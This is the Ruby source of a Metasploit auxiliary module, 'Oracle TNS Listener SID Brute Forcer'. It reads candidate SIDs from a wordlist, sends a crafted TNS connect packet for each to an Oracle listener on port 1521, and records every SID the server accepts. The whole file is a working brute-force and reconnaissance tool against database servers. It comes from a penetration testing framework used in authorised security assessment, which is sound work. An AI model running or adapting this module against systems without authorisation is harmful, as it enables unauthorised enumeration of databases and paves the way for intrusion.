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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Auxiliary::Report
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  include Msf::Exploit::Remote::TNS
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Oracle TNS Listener SID Brute Forcer',
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      'Description'    => %q{
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        This module simply attempts to discover the protected SID.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'URL', 'https://www.metasploit.com/users/mc' ],
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          [ 'URL' , 'http://www.red-database-security.com/scripts/sid.txt' ],
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        ],
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      'DisclosureDate' => '2009-01-07'))
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    register_options(
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      [
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        Opt::RPORT(1521),
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        OptString.new('SLEEP', [ false,   'Sleep() amount between each request.', '1']),
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        OptString.new('SIDFILE', [ false, 'The file that contains a list of sids.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]),
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      ])
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  end
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  def run
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    s    = datastore['SLEEP']
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    list = datastore['SIDFILE']
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    print_status("Starting brute force on #{rhost}, using sids from #{list}...")
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    fd = ::File.open(list, 'rb').each do |sid|
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      login = "(DESCRIPTION=(CONNECT_DATA=(SID=#{sid})(CID=(PROGRAM=)(HOST=MSF)(USER=)))(ADDRESS=(PROTOCOL=tcp)(HOST=#{rhost})(PORT=#{rport})))"
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      pkt = tns_packet(login)
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      begin
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        connect
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      rescue ::Interrupt
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        raise $!
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      rescue => e
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        print_error(e.to_s)
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        disconnect
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        return
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      end
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      sock.put(pkt)
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      select(nil,nil,nil,s.to_i)
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      res = sock.get_once
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      disconnect
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      if res and res.to_s !~ /ERROR_STACK/
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        report_note(
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          :host => rhost,
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          :port => rport,
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          :type => 'oracle_sid',
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          :data => "PORT=#{rport}, SID=#{sid.strip}",
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          :update => :unique_data
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        )
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        print_good("#{rhost}:#{rport} Found SID '#{sid.strip}'")
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      end
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    end
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    print_status("Done with brute force...")
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    fd.close
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  end
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end
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